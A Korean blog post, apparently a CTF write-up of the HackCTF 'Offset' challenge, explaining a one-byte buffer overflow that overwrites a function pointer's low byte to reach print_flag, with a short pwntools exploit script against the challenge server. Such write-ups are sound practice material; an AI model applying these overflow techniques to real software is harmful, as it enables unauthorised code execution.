HACKCTF - Offset
2020. 7. 15. 15:20ㆍCTF's Write-up
실행시켜보면
메인 코드를 보면
다음과 같다.
9번줄에서 입력을 받고, 입력받은 내용을 그대로 10번째줄에 select_func함수에 넘긴다.
6번째줄에서 v3 에 two 를 넣고
7번째 줄에서 인자로 받은 src 를 dest에 넘긴다. 여기서 0x1f만큼 넘기게 되는데
dest 가 0x2a이고, v3 가 0xc 라서 두 함수의 차이는 30인데 31만큼 넘겨서 bof가 일어난다.
여기서 무엇을 덮을지 생각하다가
flag를 출력하는 함수를 발견하였고, 이 함수로 넘기면 될것이라고 생각하였다.
print_flag 함수가 0x000006d8이고
two 함수의 주소가 0x000006ad 이므로 0x000006까지는 같고 뒤에 1바이트만 다르니까 뒤에 1바이트만 덮어주면 된다고 생각할 수 있
다.
desk[0x2a]이고, v3[0xc]이므로 0x2A-0xC이므로
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
#r = process("./offset")
r = remote("ctf.j0n9hyun.xyz", 3007)
e = ELF("./offset")
context.log_level = 'debug'
r.recv()
payload = ""
payload += "A"*(0x2a-0xc)
payload += p32(0xD8)
r.send(payload)
r.interactive()
|
cs |
위와 같이 익스 코드를 작성할 수 있습니다.
실행시키면
이와 같습니다.(grin)
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Guess me (0) | 2020.07.15 |
---|---|
[보호]HACKCTF - Authenticate (0) | 2020.07.15 |
HACKCTF -Time (0) | 2020.07.15 |
HACKCTF - Read File (0) | 2020.07.14 |
HACKCTF - 보물 (0) | 2020.07.14 |